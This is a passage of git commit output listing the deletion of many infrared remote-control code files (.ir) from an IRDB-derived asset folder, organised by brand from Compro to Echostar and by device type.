assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/VCR/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/TV/0,28.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,31.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,6.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,12.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,3.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/1,0.ir delete mode 100644 